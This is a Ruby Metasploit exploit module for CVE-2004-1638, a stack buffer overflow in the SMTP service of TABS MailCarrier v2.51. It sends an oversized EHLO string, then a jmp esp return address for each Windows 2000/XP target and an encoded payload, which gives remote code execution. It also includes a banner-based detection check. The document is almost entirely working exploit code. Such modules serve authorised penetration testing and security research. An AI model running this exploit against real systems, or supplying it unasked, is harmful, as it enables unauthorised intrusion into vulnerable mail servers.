##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
        'Description'	=> %q{
          This module exploits the MailCarrier v2.51 suite SMTP service.
          The stack is overwritten when sending an overly long EHLO command.
        },
        'Author' => [ 'aushack' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1638' ],
          [ 'OSVDB', '11174' ],
          [ 'BID', '11535' ],
          [ 'EDB', '598' ],
        ],
        'Platform' => ['win'],
        'Arch'	=> [ ARCH_X86 ],
        'Privileged'	=> true,
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          # 'Space'			=> 300,
          'BadChars' => "\x00\x0a\x0d:",
          'StackAdjustment'	=> -3500,
        },
        'Targets' => [
          # Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
          [ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63	} ], # jmp esp expsrv.dll w2ksp0 - xpsp1
          [ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
        ],
        'DisclosureDate' => '2004-10-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(25),
        Opt::LHOST(), # Required for stack offset
      ]
    )
  end

  def check
    connect
    banner = sock.get_once || ''
    disconnect

    if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
      return Exploit::CheckCode::Detected('MailCarrier SMTP server detected')
    end

    return Exploit::CheckCode::Safe('MailCarrier SMTP server not detected')
  end

  def exploit
    connect

    sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
    sploit << [target['Ret']].pack('V') + payload.encoded

    sock.put(sploit + "\r\n")

    handler
    disconnect
  end
end